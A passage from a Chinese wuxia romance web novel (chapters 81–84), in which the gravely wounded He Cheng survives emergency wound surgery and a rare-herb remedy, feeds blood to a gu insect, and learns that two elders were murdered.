贺承低头蹭了蹭她头顶柔软的发,苦笑:“可是晓怜,她是为了杀我,才把青山城搅得鸡犬不宁的。如果当年如她所愿,我死于她腹中,或葬身于蛊虫之口,就不会有今 日这些事……” “呸呸呸!”陆晓怜搂住贺承的脖子,仰头与他垂落的目光深深对视,“如果当年如她所愿,那我就没有这么好的师兄了。” 他们的目光中有彼此的影子,深长缱绻的目光之外,依旧风狂雪怒。 风雪从枯枝的缝隙间灌进来,雪粒落在陆晓怜颤动的睫毛上,凝成细碎的冰晶。贺承的呼吸轻飘而冰凉,忽深忽浅地拂过她鼻尖,带着清苦的药香和腥甜的血气。 盯着贺承冰白的唇,她绞尽脑汁也想不到好的办法温暖它。 贺承宽大的手掌托着她的后颈,瘦长的手指抵在她耳后,轻轻摩挲着耳后那一小块皮肤。她俏丽的脸在风雪中莫名浮起红晕,他在风雪中寸寸逼近,声音低哑:“冷吗?” “不冷。” 贺承的手指自她耳后流连至她红润柔软的唇:“可是我冷。” 贺承鲜少说疼,说冷,所以这样坦白的话,陆晓怜竟不知道该如何接下去。 她嘴唇动了动,来不及吐出一个字,所有声音便被他沁凉的唇封冻在唇齿之间。 远处松枝断裂的脆响惊不破方寸间的寂静。 世间霜雪皑皑,冷风凄凄,各由他去。 贺承松开陆晓怜的后颈,手指自耳后流连到她的脸颊,拇指摩挲着她唇角,药草苦涩混着血腥气在她鼻息间流转。他没有禁锢她分毫,是她攀着他的衣领寸寸往前,去咬他冰凉腥苦的唇,将自己的柔软、热烈、香甜,悉数奉上。 眼睫上沾染的霜雪,化作一汪春水,将情人的眉眼浸润得分外温柔。 这个风雪夜,好像有经年的冰壳无声碎裂,两颗本就贴近的心,再无间隔。 忽而,不远处传来踏碎薄冰的脆响。 隐隐有人在喊:“贺公子——陆姑娘——” 有人来了! 陆晓怜脸上发烫,松开紧紧攥着贺承衣襟的手,下意识想挣脱贺承的怀抱。 可是贺承不依,捏着她的下颌深深一吻,冰冷的手指顺着她的侧脸滑落下去。 陆晓怜只觉肩头一沉,怔忪垂眼,只见贺承靠在她肩头,脸色依旧苍白如雪,唇上却浮着柔润的浅粉。他费力地朝她挽起唇角:“有人找来了……别怕,没事了……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第八十一章伤口枕风楼没有大夫。 当年司渊被沈南风挫骨扬灰随风散在息山上,沈懿行在人迹罕至的山坡底下偷偷为司渊立了个衣冠冢。司渊死后,年幼的沈懿行只是枕风楼里朝不保夕的小人物,不敢明着跟沈南风唱反调,精心找了个三面被树木遮掩的角落,将司渊的墓碑镶嵌于泥土中,因为藏得太过隐蔽,后来竟然连沈懿行自己也找不到。 偏偏就是这么巧,十几年后,小小的墓碑阴差阳错地被为贺承找药的陆晓怜翻出。 更巧的是,书上说,血息草受不得酷暑也受不得严寒,繁茂于夏末,霜降之后的第一场霜打下来,就会在一夕之间枯败委顿,而长在司渊墓碑上的这株血息草,仿佛是被司渊捧在怀里护住躲过风霜雨雪,就等着贺承的到来,就等着帮贺承撑到沈懿行赶来。 远处脚步声细碎,提着灯笼的人影影绰绰,贺承不敢轻易松下悬在心里的那口气。 他靠在陆晓怜肩头,强撑到看清提着灯笼近前来的人是沈懿行,才长长松了口气。从息山回到枕风楼小红楼的路途并不长,可贺承强撑着的那口气松下去,再攒不出一点精力,伏在沈懿行背上,很快失去了知觉。 崩裂的伤口需要重新处理,沈懿行将贺承背回房间,屠勇和贺启已经闻讯赶了过来。 贺启从沈懿行背上扶下苍白若死的兄长,含着眼泪咬着牙,将人半扶半抱地送到床上平躺下来,颤抖着手解开他腰腹间被血液浆得干硬的衣裳,只觉脊背发寒。 床榻上的人气色差到了极点。没人知道他这样悄无声息地流了多少血,也没人知道他身上还有多少血,经得住这样的消耗。 贺启跪坐在床边,摸着贺承伤口附近苍白沁凉的皮肤,急得双目通红,低声嘶吼:“大夫呢?求求快来个人,来看看他的伤!” 可是他忘了,枕风楼没有大夫。 无论什么人,入了枕风楼,便是交付出一条命,死伤不计,要什么大夫!纵观整个枕风楼,最像医馆的地方偏偏是堆叠着无数死人的刑堂,最像大夫的人偏偏是十大酷刑样样精通的刑堂堂主屠勇。 屠勇已经等在房间里了,他在不远处收拾着要为贺承处理伤口的器具,剔除腐肉的小刀、穿刺血肉的银针、缝合皮肉的丝线,每一样都要拿开水冲过拿烈酒泡过,经不得一点马虎。此刻连沈懿行都不敢催他,他自然顾不得贺启的坏脾气,只遥遥交代一句:“先把伤口的血污清理了,用酒把伤口洗干净。” “好。”贺启将衣裳扯开些,看着贺承腰腹间深可见骨的伤,只觉得脚下发软,再不敢碰他分毫。 拖着尚未愈合的伤口护着陆晓怜滚落坡底,贺承腰上的伤早被撕扯得不成样子,之前缝合的丝线被挣断,伤口破损外翻,鲜血淋漓往外渗出,陆晓怜为他敷上的草药已经被鲜血洇得发乌。 有枕风楼弟子递上来一坛烈酒,可贺启下不了手:“烈酒触到伤口,得有多疼!” “我来!”陆晓怜从沈懿行身后站出来,利落接过贺启手中的酒坛,看了贺启一眼,声音又沉又硬,稳若磐石,“我来,你帮我扶稳师兄。” 陆晓怜拿帕子沾了温水,小心地一点一点拭去伤口上的血污。 雪白的帕子渐渐被染得殷红,狰狞可怖的伤口也渐渐显露出来,陆晓怜心中一横,挥掌拍开酒坛的封泥,澄澈的酒水从坛口漾出,散开浓醇酒香。 此刻,没人有心思去想这是坛什么好酒,任凭酒气馥郁,人人只牵挂着床榻上奄奄一息的人。陆晓怜重新取了一块柔软的帕子,覆住酒坛口,微微倾倒酒坛,酒水便将帕子浸透了,她握着沉甸甸的帕子坐在床沿,望着无力倚在贺启怀里的贺承,心中也是沉甸甸的。 “师兄,你忍一忍。” 贺承脸色惨白,气息微弱,并没有回应陆晓怜。 而陆晓怜也并没有在等什么回应,她那句忍一忍,像是对贺承说的,也像是对她自己说的。一句话说罢,她深深吸了口气,咬牙将吸满烈酒的帕子覆到贺承伤口上,那坛酒烈得像刀子,酒液渗入翻卷的皮肉,失去意识的人无法自抑地挣扎起来,喉间爆出困兽般的低吼。 贺启的脸色几乎与病床上的兄长一样惨白,失声惊道:“哥!对不起!你再忍一忍!” 昏迷中的贺承听不到他的惊慌,可咫尺之外的陆晓怜却听得分明。她眉头微蹙,目光扫过贺启,只见他扶住贺承的手臂微微发着颤,几乎压不住贺承挣扎的身体。她神色一冷,语气异常严厉:“贺启,你把他扶稳了!” 听见这边的动静,沈懿行从屠勇身边抽身过来,二话不说,从贺启手中接过贺承,双手抵住贺承的肩膀,紧紧压住他挣扎的身子,抬头冲陆晓怜道:“陆姑娘,你继续,动作要快,小承还压着一身内伤,受不住。” 陆晓怜点头,往帕子上又浇了一轮烈酒,咬着唇再一次将帕子覆上伤口。 贺 承犹如无可奈何的困兽,脖颈往后仰着,试图挣脱难耐的剧痛。可他太过虚弱,即便用尽了力气,也无法从沈懿行和贺启的手中挣脱分毫。冷汗自额角涔涔滑落,他黑长的睫毛濡湿一片,剧烈颤抖着,却终究还是没有力气撑开薄薄的一层眼皮清醒过来。 “师兄,再忍一忍!”陆晓怜双目泛红,狠心将酒水浇了上去。 酒水冲开血污,露出伤口处泛白的皮肉,血色从皮肉之间丝丝缕缕地渗出来,混着澄澈的酒水,蜿蜒过他劲瘦的腰身,滴滴答答落在地上。 那头,屠勇终于收拾完了器具过来。 刑堂的弟子捧着灯台,跟在他身旁,油灯多添了好几根灯芯,将床榻旁照得明亮。屠勇用手中的银质器具撑开贺承的伤口,眉头越皱越紧:“伤口没长好,里头都发癀化脓了,得把里外的腐肉都剔除干净,重新缝合才行。” 这话说得轻巧,可一刀刀,却是生生落在贺承身上。 贺启问:“有麻药吗?” 屠勇偷偷瞄了沈懿行一眼,点了下头,又接连摇了三下头:“有是有,可是他用不了。他的伤口得马上处理,外敷的麻药来不及起效,倒是能灌一碗药让他彻底昏睡过去,可他身子太弱,怕是这一昏,便再也醒不过来了。” 陆晓怜手中捏着那方沾满血污的帕子,心头一颤:“那便只能生生受着?” 屠勇没有应声,下意识看下沈懿行。 沈懿行微微颔首:“动手吧,凤尾续魂针他都挺过来了,我相信他撑得住。” 陆晓怜怔怔抬头:“他受凤尾续魂针时,更疼吗?” “银针刺穿经脉,自然比今日更疼。”沈懿行垂眼看奄奄一息的贺承,“他那时也是命悬一线,险些救不回来,后来不是也活蹦乱跳的吗?这回必定也是一样的。” “他那时伤得很重?” “断云掌之下能捡回一条命都是侥幸,他怎么可能伤得不重?”沈懿行冷哼一声,这些与青山城、与陆岳修有关的往事,他不愿多说,只瞥了一旁惴惴不安的屠勇一眼,“动手吧,老规矩,他若有什么万一,你也不必活。” 屠勇落刀极轻极快,薄薄的一片落叶似的小刀快得几乎能看见残影,寒光没入翻卷的皮肉,轻轻巧巧地剔出坏死的腐肉。 刀尖剜下腐肉的瞬间,贺承的身体因为疼痛骤然紧绷,犹如溺水之人抓住浮木,他痉挛的手指握住沈懿行的一角衣袖,手背上青筋暴起,几乎将沈懿行的衣袖扯出裂帛之声。 他浑身都是冷汗,汗水浸透了衣衫,沈懿行握着他的肩膀,触手都是骇人的冰凉。他上衣的系带被全部解开了,衣襟敞开着,露出他苍白清瘦的胸膛。他那样白,那样冷,像浸在寒潭里的玉,几乎透明的皮肤下透出青紫的血管,随每次剜肉的剧痛在皮下疯狂跳动。 “楼主,按紧了!”屠勇皱眉。 沈懿行不语,只更用力地压住贺承震颤的肩头。 屠勇深吸一口气,突然翻转刀刃,利落地削下一片连着筋络的腐肉。他一口气尚未松下去,却见贺承痉挛般剧烈抽搐了一下,胸口微弱震颤着,口中断断续续呛出血水,黑长濡湿的睫毛在剧痛中颤动如垂死的蝶。 “怎么回事?怎么会呕血?”几乎是同时,陆晓怜、沈懿行追问屠勇。 可屠勇没有回应他们。 他脸色煞白地看着贺承的伤口,声音颤抖:“怎么会这样?伤口刚刚不是不出血了吗?怎么会突然流这么多血?怎么会止不住?快,快先给他止血!” 顺着屠勇的目光,所有人看向贺承腰腹间的那个血窟窿。 刚刚丝丝缕缕渗着血水的伤口忽然如决堤的山洪,鲜血汩汩涌出来,顷刻间将床上的被褥染成刺眼的红。而贺承犹如一只等死的困兽,滚烫的血色从他身体里淌出,他静默无声地躺在那一丛血色中,皮肤苍白如雪,清俊的脸上浮起一层不祥的灰白。 第82章 第八十二章血息草是司渊又救了他一…… 灯火映着一屋子人的惶惶。 贺启自幼颠沛流离,却一路有贺承护着,其实未经风雨,此时六神无主,只蹲在床边拉着贺承的手,失神地喊着“哥哥”。 沈懿行沉默不语,跟在屠勇半步之外,目光如炬逼视着他,要他想想办法。 陆晓怜抓过药箱里的棉布,堵住汩汩冒血的伤口。滚烫粘稠的鲜血浸透棉布,盈满她的掌心,透出指缝,一寸一寸攀上她白皙的手背,触目惊心。她眼中有泪,带着哭腔质问屠勇:“之前明明好好的,怎么会突然止不住血?你到底怎么治伤的?” 屠勇偷偷瞟了一眼沈懿行,欲言又止。 “都是自己人,有什么话,你只管说。” 得了沈懿行的令,屠勇深吸一口气,说下去:“恐怕是因为之前那颗药丸。刑堂的药,向来只救命,不治病。当时千钧一发,没人知道那颗药丸会带来什么隐患,如今贺公子毫无缘故地出血不止,我猜,便是那颗药丸所致。” 几日前一行人到达枕风楼时,陆晓怜为救贺承力竭昏迷,并不知道服药的细节。闻言,又急又气,双目猩红,死死盯着沈懿行:“什么药丸?你给师兄吃了什么药丸?枕风楼不是很厉害吗?你为什么还不去找南门前辈?为什么要把师兄的性命交到这个刽子手手里?” 她气急了,像一只发狂的野兽,身上那股霸道的内力又隐隐浮动。情绪激荡下,那股无名的力量几乎再次失控,将要破体而出时,一只冰凉的手握住了她的手腕。 犹如冰雪覆盖住跳跃的火焰,霎时天地俱寂。 陆晓怜低头去看,只见那只手消瘦而修长,指尖沾着血污,却遮掩不住玉石般的白和透。她的目光顺着指尖、手腕、手臂,一寸寸前移,终于在狼藉血迹里,看到一抹微弱如秋日萤火的微光。 她的眼泪簌簌滚落:“师兄——” “不要急……慢慢引气归经……”贺承扣着她的手腕,眸光细碎,像许多年前轻声细语地哄着她练功一样,“把,把内息沉回丹田……” 陆晓怜依言调息,如岩浆般沸腾躁动的内息渐渐平复如常,贺承深深望着她,一口气舒下去,猝然偏过头去,接连呛出血沫,气色更灰败了几分。他有未尽的话,反将陆晓怜的手攥得更紧,费力道:“谁也别怪,我,我在母亲腹中就该死了……多活二十多年,还遇见你,已经,是赚到了……” 沈懿行脸色微变:“你都知道了?” “是……”贺承抬眼,将涣散的目光聚到沈懿行身上,“沈大哥,别怪自己。你三番两次救我,便是,便是欠了我父亲天大的恩情,也,该还清了……” 沈懿行含泪摇头:“不是的,不仅仅是为了报恩,我是真的想交你这个朋友。” “那更好……遇见了喜欢的姑娘,也有,舍命相交的朋友,我这辈子,终究不枉……”贺承低笑出声,染血的唇妖冶异常,唇角扬起,又是鲜衣怒马的少年郎。 陆晓怜摇头:“什么这辈子!我们这辈子都还有很长呢!” 贺承但笑不语,朝一旁默不作声许久的贺启伸出手:“小启,来……” “哥!”贺启哽咽着,几乎是连滚带爬地来,带翻了一旁盛放沾满血污的手帕棉布的铜盆,惹出震天的动静。他什么也顾不得,跪到贺承床边,握着贺承的手,涕泗交颐。 “小启……”贺承只余气声,“日后,哥哥再不能护着你了……幸好,你已经长大了,你自己,好好的……” 最后的一点力气,贺承伸手想再揉揉弟弟的头发,可终究不能如愿,他的指尖尚未触及贺启,四肢百骸骤然炸开一阵剧痛,他的身子痉挛般剧烈抽搐了一下,喉咙一甜,喷出一大口血,血色落满贺启的衣襟。 “哥!”贺启声音撕心裂肺,“对不起!对不起!我知道错了,哥,你别丢下我!” 贺承眉头轻蹙,眼中有薄薄的一层疑惑,他的唇动了动,似乎想说什么,可脏腑里的血顷刻间又涌了上来,将他费尽力气要颤抖吐出的话又卷了回去。 于是,他再没有力气,口唇微张,由着鲜血汩汩喷涌而出。 屠勇上前摸了摸贺承腕上寸关,摇头:“气血溃败,内外伤、新旧伤,同时出血不止,他撑不了多久了。你们——”话说一半,他忽然顿住,看着地上被贺启打翻的铜盆,眼睛越瞪越大,惊诧道:“血息 草!霜降过后怎么还会有新鲜的血息草!” 没人知道他为何提高了声量,屠勇继续说下去:“血息草止血有奇效,若能再多找几株新鲜的血息草出来,贺公子兴许还有一线生机!” 于昏天黑地中觅得一线微光,陆晓怜拼尽力气也要握住:“我知道哪里有!我去取!” 贺承胸口微弱地起伏着,随着轻微的震颤,不时呛出星点血沫。他还吊着一口气在喉咙里上下滚动,眸光幽微,却不依不饶地亮着,定定望向陆晓怜,恋恋难舍。 他已经不能说话了,她不知道他还能不能听到?能不能看到?能不能感觉到? 所以她先捏了捏他清瘦的腕骨,而后附身吻住他眸光细碎的眼,最后伏在他耳边交代:“师兄,我很快把药带回来,你一定要等我。” 陆晓怜踏碎霜雪与晚风,来去飞快。从小红楼到息山山坡底下,统共只花费了不足一刻钟的功夫,许是风太疾,许是雪太盛,她归来时发鬓歪斜,衣袂凌乱,仿佛刚刚与什么人酣战一场。 屠勇急急忙忙迎上前,接过陆晓怜手中那一捧枯瘦的血息草,欣喜得指尖发颤:“这么多新鲜的血息草,一定能起效!” 而后便是着急忙慌地为贺承治伤。 好在屋子里人多,即便屋子里的人手不足够,外面也有整座枕风楼来做后盾。血息草的叶片被一叶一叶小心撕下来放进药臼,细细捣碎研磨,挤出小半碗墨绿色的草汁。 屠勇另外拿了只小碗,将那半碗草汁舀出一半来,递给陆晓怜:“他有旧伤,才致脏腑内出血不止,你将这碗药汁喂他喝下去。新鲜血息草药性烈,恐怕要受点罪,为了救命,得忍一忍。” 陆晓怜看向奄奄一息的贺承,心又被一只手狠狠拽了一下,疼得厉害。 旁人总将这些话说得轻巧简单,可她的师兄已经受过那么多罪了,怎么还要再受点罪?他做错了什么,要一而再、再而三地受伤病折磨? 她轻轻扶起贺承,只觉得他身上已经没有一点力气,仰靠在她肩头,呼吸吞吐都细弱得令人胆寒。贺启托着药碗坐到床沿,陆晓怜扶稳了贺承,舀了一勺墨绿色的药汁,递到他唇边:“师兄,这是血息草的药汁,你一定要全部咽下去,好不好?” 贺承惨白的唇颤了颤,含住汤匙,将腥苦的药汁一点一点卷入口中。 “真棒!”陆晓怜又舀了一勺,“再喝一勺,我之后给师兄买糖吃,好不好?” 这是以前贺承哄陆晓怜吃药的伎俩,风水轮流转,如今竟轮到陆晓怜来哄他。 贺承无奈地笑,又依言咽下一勺药汁。 可舀起第三勺药汁,还来不及递到贺承唇边,陆晓怜便觉得他气息有异。她低头看去,只见他额头不止何时挂满了冷汗,倚在她怀中的身子颤抖辗转着,像是要极力挣脱什么,却又无从挣脱。 “师兄?”陆晓怜不敢再喂药,扭头冲屠勇高声喊,“屠堂主,你快来!” 屠勇手中还捧着另一只装着药的碗泡制着简易的外用膏药,他循声过来,掀开贺承腰腹间的布料看了一眼,欣喜溢于言表:“有效的!有效的!你看,伤口的出血缓了,也不呕血了。快继续喂他吃药,这些药汁要都喝下去才行。” “可师兄看起来难受得厉害。” 屠勇无奈:“血息草药效好起效快,但药性烈,只能熬。” “可是——” 陆晓怜话未说完,贺承的手指在她手背上轻轻挠了一下。她低头看他,只见贺承嘴唇微动,气若游丝地坚持:“我……受得住……” 将剩下的药汁尽数喝下,贺承冷汗淋漓,倚在陆晓怜肩头气息散乱,淡青色血管在苍白得几乎透明的皮肤下若隐若现,随着他每一次沉重的呼吸抽搐。 陆晓怜将碗和勺子丢给贺启,换了他手中用温水沾湿的帕子,轻轻拭去贺承脸上的血污,有些不忍心:“师兄,你歇一会,屠堂主一会给你包扎伤口,也是要用到血息草的药汁。” 贺承不语,只轻握了一下她的手,微微点头。 虽有服药的前车之鉴,可屠勇为贺承敷药时,他依旧疼痛难耐。沾满药汁的纱布贴上腰腹间那道狰狞的伤口,贺承猛地绷直了身子,一声细弱的哀鸣从喉咙里颤巍巍地溢出来。 屠勇拿绷带缠紧伤口,血息草的汁液更深渗入贺承血肉之中。 贺承虚弱的身体终于再经受不住一波又一波的剧痛,紧绷的身子蓦然松弛,在陆晓怜怀中疼得昏死了过去。 陆晓怜心有余悸,伸手去探贺承的鼻息。那一缕细弱冰凉的呼吸喷在她指尖,轻飘飘的,连一缕头发丝都吹不动,却将陆晓怜的眼泪吹了下来。她搂紧怀中虚弱无力沉沉昏睡的人,喜极而泣:“师兄,幸好你没事!” “陆姑娘——”屠勇收拾完器具,站在屋里欲言又止。 陆姑娘沉浸在她师兄死里逃生的喜悦中,顾不得回应屠勇,是他家沈楼主替陆姑娘回的话,颇有些过河拆桥的不耐烦:“怎么了?还有什么事?” 屠勇缩缩脖子:“我是想提醒陆姑娘,贺公子并不是自此便没事了。他气血溃败已极,出了血极难止住,这回恰好能找到新鲜的血息草,下一回未必能有这样的运气了。” 沈懿行道:“我倾枕风楼之力护他,决计不让他再受一点伤。” 屠勇怯怯看了沈懿行一眼:“可他本有旧伤,内伤深重,脏腑早有损伤,何况,他体内埋的凤尾续魂针,每一枚都是横穿经脉的,稍有不慎,无需旁人动手伤他,凤尾续魂针移位,便会要了他的命。” 闻言,在场的人脸色瞬时沉了下去。 陆晓怜抬头看向沈懿行,将之前的一个问题又问了一遍:“南门前辈和潘前辈究竟在哪里?已经过了这么多日,还是找不到他们吗?” 第83章 第八十三章喂蛊这就是桑秀用来杀他…… 这一轮伤伐太重,贺承昏昏沉沉睡了七八日才彻底醒转过来。 他醒过来的那日,正巧遇上金波小心翼翼地来找陆晓怜讨想要一两滴贺承的血喂那只他们在七步岭上捡来的蛊虫。 陆晓怜几日前刚刚得知贺承的身世,再次见到瓷罐里那只张牙舞爪的红色蛊虫,不知该爱该恨,它本是贺承的生母桑秀用来杀死贺承的工具,被司渊丢在百花谷外形成困住南门迁与潘妩的屏障,却又因此弄巧成拙在七步岭山救了硬闯百花谷的他们。 都说世事难料,不过如此。 虽然那日贺承性命垂危之际,金波与钟晓不在场,但息山山坡下的树丛里藏着司渊衣冠冢的事已经传开,陆晓怜无意欺瞒,贺承的身世在他们几人之间已不是秘密。 金波生性单纯,却绝不呆傻。见陆晓怜盯着蛊虫久久没有说话,金波神色间越发显得畏怯:“晓怜姐姐,它毕竟在七步岭上救过我们。我知道你们中原人素来嫌恶蛊术,对这些相貌怪异的虫子也是不喜的,可于我而言,它们是陪我长大的玩伴,跟钟晓于你而言一样。” “你的玩伴?” 金波点头:“儿时被师父选中后,我们就便养在圣女堂之中,除了照顾我们的嬢嬢,只能见到师父一人,吃穿是不缺的,也受人敬重,可就是无聊得很。特别是到了后来,只剩我自己一个人,我便只能跟我的蛊虫说话玩耍。” 这是陆晓怜想象不到的童年。 她的十二岁,是青山城上空呼啸而过的风,自由无拘, 而金波的十二岁,却好像是蜷缩在南疆圣女堂深院角的一抹青苔,潮湿幽暗。 陆晓怜问:“那你是到了几岁,才能自由出入圣女堂的?” “嗯?”金波缩缩脖子,“在南疆,圣女与南疆王同样尊贵,只有南疆王有资格与圣女繁育子嗣。所以,只有与南疆王成亲,圣女才能离开圣女堂,否则,将永远困在深院中,终身孤寂。” “那你——” “我是逃出来的。”陆晓怜问得迟疑,金波却承认得大方,“几乎所有圣女都会为了离开圣女堂,甘愿与南疆王成亲,听说南三十八代圣女,只有我师父不愿意!” 金波的师父,便是贺承的母亲,桑秀。 陆晓怜眉心一蹙,却没有打断,由着金波继续说下去:“小时候,趁着嬢嬢们不在,师父偷偷同我说了好多在别处听不到的话。她说,此生很短,想做什么便要去做,只困在这个庭院里,便是白白到世上活一遭。她还说,她来过中原,这里很好也很坏,可是她还是愿意喜欢这个地方。所以我十六岁起,便和师父偷偷密谋着要逃出深院,到中原看看,即便最终会和师父一样,被南疆王抓回去,我也想看一看这个师父心心念念记了大半辈子的地方。” 犹如一颗石子裹挟着一道光投进无波的深井里,金波的眼中跳跃出这个年纪该有的、蓬勃盎然的光彩:“我师父说得没错,中原真的是很好很好的地方。我在这里遇见了你,遇见了贺大哥。”她顿了一下,声音低了几分:“还遇见了钟晓。” “所以……我们遇见你时,那帮,南疆人,就是来捉你的?”有个声音在金波的话结束后,适时地插了进来。 这声音低微,在安静的房间里却分外清晰。 陆晓怜与金波一同循声望去,果然看见床榻上的贺承不知什么时候醒了过来。 “师兄!”陆晓怜欣喜万状,哪里顾得上什么蛊虫什么南疆,立时将金波抛在脑后,快步朝贺承走去,坐在床边的脚踏上,将下巴抵在床沿,正好能与平躺的贺承对视,“你觉得怎么样?还有哪里疼吗?还是哪里觉得难受?要不要喝点水?还是想吃点粥?” 贺承失笑:“金波看着呢,你也不怕她笑话。” “这有什么?你是没见过她跟钟晓腻腻歪歪的模样。”话虽这样说,她还是稍稍往后退了半步,依着贺承的要求,小心扶他坐起,往他身后塞了个软枕,不放心地叮嘱,“别逞强,累了同我说。” 贺承挽着血色惨淡的唇,微微点头,目光转向一旁的金波。 金波抱着装蛊虫的小瓷罐,就站在几步之外,咬着嘴唇看贺承。 还在南疆时,金波便听过关于师父桑秀的种种传闻,说她逃出深院远赴中原,曾在中原诞下一子,早非圣女圣洁之身,应处以极刑。可没人胆敢查验圣女的身体,也没人见过圣女的孩子,没有任何凭据,传言便一直只是传言。为了防止有人冒犯圣女,南疆王力排众议,派出武士将桑秀护在圣女堂中,一护便是二十余年。 一开始得知贺承便是传闻中师父诞在中原的孩子,金波只觉得稀奇,后来她越看贺承,越觉得他与师父相像,即便此刻的他苍白孱弱到了极点,可眉眼间的骨相还是隐约可见桑秀的模样。 某一刻,她恍然明白过来,当初见到贺承,虽然隔着一张胶皮面具,可还是能依稀分辨骨相,许是因此,那时她才会觉得这人熟悉可亲,决心要与他们同行。 金波兀自发着呆,被贺承的声音打断:“不是要取血喂蛊吗?” 她抬眼看过去,只见贺承朝她伸出了手。他气血衰竭,指尖都泛着惨淡的灰白色,金波看着都觉得心疼,怪不得陆晓怜与她兜兜转转聊了半天,怎么也不舍得下手取血。 人同此心,事情要是发生在钟晓身上,她也是连让他破半块油皮都舍不得! 金波偷偷瞟了陆晓怜一眼,语气越发小心:“贺大哥,我只要一滴,一滴血就够了。” 贺承倒是不吝啬,接连往金波的瓷罐里挤了三滴血。 金波没能立刻把蛊虫带走,贺承扶着瓷罐的边沿,低头看着雪白的瓷罐里,那只红火的蛊虫欢天喜地地挥舞着大钳子抱着血珠吸食。沉默半晌,他轻轻笑出声:“这就是她养的蛊虫。” 这不仅是他的亲生母亲桑秀养的蛊虫,更是多年之前,桑秀用来杀死他的工具! 虽然阴差阳错地,它救了他,可多年前的杀意,却也是真实存在的。 陆晓怜朝金波使个眼色,金波会意,赶紧将瓷罐盖上盖子收入怀中。陆晓怜适时上前,坐在床沿,捏住贺承指尖上的伤口,试图用一叠问句打断他的思绪,可贺承一眼看破她的心思,安抚地拍拍她的手背,只对金波道:“晓怜之前对我说,别人做的事,不要扯到自己身上来责怪自己。她虽是你的师父,可她是她,你是你。无论如何,你还是我们的朋友。” 这话将金波心里一连压了几日的大石头掀翻,她用力点头,又做回之前那个欢喜热闹得像小太阳似的姑娘。她抱着装蛊虫的小瓷,眼珠子滴溜溜地转,看看陆晓怜,又看看贺承,嘿嘿一笑:“那我就不打扰你啦!” 金波匆匆离去,房门被轻轻掩上,屋子只剩贺承与陆晓怜两个人。 陆晓怜可怜兮兮地问:“师兄,现在我可以抱抱你了吗?” 贺承但笑不语,只是朝她张开手臂。 他仅着白色中衣,像一只白鸟张开翅膀,而回应他的,是一只雀儿。 那只小雀儿就这样兴冲冲地落进他怀里。她是欣喜的,却欣喜得小心翼翼,不敢增加上去丁点儿力气,轻轻环过他的肩膀回抱住他,隔着薄薄一层中衣触着他嶙峋的肩胛骨,忍不住抵在他肩头,抽抽搭搭吸鼻子。 “怎么还哭了?我不是好好的吗?”贺承哄小孩似的拍着她的背。 她往他肩窝里缩了缩,偏过头时鼻尖蹭到他颈侧跳动的脉搏,他身上清苦的药香丝丝缕缕萦绕期间。她闷声说:“都怪我那日一意孤行,非在雪天练功,才会害你伤上加伤,险些丢了性命。” “原本撕裂伤口,也不至于那么凶险的。”贺承幽幽叹气,“沈大哥应该跟你说了吧?刚到枕风楼时,我是服了刑堂的药才得以吊住性命的,可那颗药的后患无人知晓,我们这次遇到的出血不止,也不过是其一,日后还会发生什么,无人知道。” 陆晓怜身体一僵,觉得一股寒意顺着脊骨猛冲上来:“什么意思?” “意思是,前几日那样的事,以后可能还会发生,而且我可能没有这么好的运气,次次都能化险为夷。”贺承侧过头,冰凉的手指顺着她的耳坠,轻轻摸索着她颈侧的皮肤,“晓怜,你答应我,若真到了那日,你一定替我照顾好你自己。” “师兄,你别胡说,沈楼主答应我,会加派人手去找南门前辈的,你一定会没事的。” 贺承闷声咳嗽,声音暗哑:“傻丫头,你还不明白吗?南门前辈不会来了。” 陆晓怜讷讷地问:“这又是什么意思?” 贺承垂眸看她,眼中是比夜色浓稠的哀戚。 “当日逐月阁与凤鸣山在西江城闹出那么大动静,二位前辈不可能听不到风声,知我被枕风楼救走,无需沈大哥派人去请,他们也会马不停蹄地往枕风楼赶的。”他断断续续地说着,咳嗽声越发剧烈,“而且这回到枕风楼来,从头到尾,沈大哥从头到尾都没有提过南门前辈和潘前辈一句,你猜这是为什么?” 陆晓怜声音发颤:“为什么?” 贺承眸色如墨:“因为他们出事了。” “什么事?” 陆晓怜边问边倒了杯温水过来,贺承接过水杯,只说:“帮我找沈大哥过来。” 第84章 第八十四章下落他们还活着吗?…… 旁人要找枕风楼楼主不容易,可贺承要找沈懿行却只是一句话的事。 得知贺承醒了,沈楼主脚下生风来得很快,到的时候贺承手中那杯水还是热的。他边往屋里走,边问:“什么时候醒的?找屠勇来 看过没有?屠勇怎么说?” 陆晓怜摇头:“师兄不让去找屠堂主。” 沈懿行挑眉:“怎么?看不起屠勇?” 死里逃生本是可喜的事情,可贺承气色太差,穿着白色中衣倚在床头,孱弱得像一缕不稳的游魂。他太过安静,令风风火火赶来的沈懿行不由放轻了脚步放低了音量,收敛起飞扬的眉眼,微微蹙眉,看看陆晓怜,又看看贺承:“这是怎么了?” 陆晓怜欲言又止。 贺承放下茶杯,开门见山:“沈大哥,南门前辈与潘前辈究竟出了什么事?” 沈懿行知道贺承一定会问南门迁与潘妩,只是没料到贺承会在这个时候问,又或者说,是他没有想好,如何与此刻元气大伤的贺承说起南门迁与潘妩。 他顿了片刻,拍拍贺承的肩膀:“你才刚醒,我过几日再与你详说此事。” 算起来他们一行人到达枕风楼已经好几日了,此时聊起与过几日再说,事情本身恐怕不会有任何差别。贺承不愿意再等“过几日”,他倚在床头,目不交睫地望着沈懿行,声音分明极轻,可问出的话却是一记响雷,炸得沈懿行头脑发懵。 贺承问他:“他们还活着吗?” 八面玲珑的沈楼主脑子里一片空白,他不想骗贺承,可他刚刚在鬼门关外走一圈,哪里经受得住真相? 贺承紧紧注视着沈懿行,不肯遗漏他脸上一丝一毫的神色。 沈懿行没有言语,可他的沉默他的犹豫也是另一种回答。贺承胸口的起伏越发剧烈,蜷起手掌抵在唇边闷声咳嗽,声音低沉暗哑:“我猜对了,是不是?他们出事了,他们已经死了,是不是?” 这话锐利而直接,像一柄迎面劈来的刀,沈懿行不忍应声,却不得不默然点头。 贺承不依不饶,又问:“他们是怎么死的?” 沈懿行微弱挣扎:“你刚醒,需要休息,过几日,等你好一点,我们再细说。” “我要知道!”虽然早已隐隐猜到,可证实了南门迁夫妇已不在人世,贺承还是压不下心中起伏。他双目微微赤红,低吼出声:“是我逼着他们出百花谷的,如果他们没有出谷,怎么会遭此横祸?他们是被我害死的,我怎么能等?” “不怪你,二位前辈是为人所害的!” 贺承猝然愣住。 为人所害?南门迁与潘妩医者仁心,当年想杀他们的沈南风早已化为一堆白骨,还有谁会害他们? 